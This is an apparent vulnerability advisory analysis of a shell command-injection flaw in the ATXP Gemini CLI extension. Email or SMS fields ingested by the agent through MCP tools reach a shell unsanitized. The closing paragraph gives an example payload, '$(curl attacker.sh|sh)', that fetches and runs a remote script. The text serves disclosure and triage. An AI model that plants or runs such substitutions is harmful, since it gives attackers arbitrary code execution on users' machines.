ATXP Gemini Extension CVE-2026-117560

The victim must have the ATXP Gemini CLI extension (through 1.0.0) installed and must process attacker-controlled content - an email or SMS whose fields message_id, subject, or query contain shell substitutions ($() or backticks). Those parameters pass unsanitized from the MCP tool call into runAtxp(), which invokes a shell, so the injected command runs with the user's own privileges. Limiting factors: exploitation depends on the victim actively running the extension and routing the malicious message through its MCP tools; the attacker needs no account on the target but cannot trigger execution without the victim's agent ingesting the content, and code runs only at the user's privilege level with no built-in escalation. No fixed version is stated in the available data.

The input supplies a CVSS 4.0 vector scoring 8.5 (High): AV:L/AC:L/AT:N/PR:L/UI:N with full VC:H/VI:H/VA:H, i.e. arbitrary OS command execution as the running user. VulnCheck assigns a 'this_week' priority (elevated but below act_now/emergency). No CISA KEV entry and no EPSS score are provided, so there is no signal of active or probable widespread exploitation; exploitation status is 'no public exploit identified at time of analysis', though a VulnCheck advisory, a source-code reference (server.ts L28-L40) and GitHub issue #15 exist. Signals partly conflict: the official vector uses AV:L (local context) and PR:L (authenticated local operator), yet the description's mechanism is indirect - an external attacker plants $()/backtick substitutions in email or SMS content that the victim's agent later ingests, which reads more like remotely-delivered, attacker-unprivileged content processed locally. CVSS indicates a local, low-privilege vector but the description implies attacker-supplied remote content executed through the victim's agent - verify the intended threat model with the vendor. Net: technically severe (reliable code execution as the user) but tempered by a very small deployment footprint and no evidence of exploitation in the wild.

An attacker sends the victim an email or SMS whose subject, message_id or query field embeds a shell substitution such as $(curl attacker.sh|sh) or a backtick command. When the victim runs the ATXP Gemini CLI extension (≤1.0.0) to read or search those messages via its MCP tools, the unsanitized parameter flows into runAtxp() and the shell executes the attacker's command with the user's privileges. No confirmed working exploit code is provided - only a VulnCheck advisory and a GitHub issue reference - and exploitation requires the victim to process the attacker-controlled content.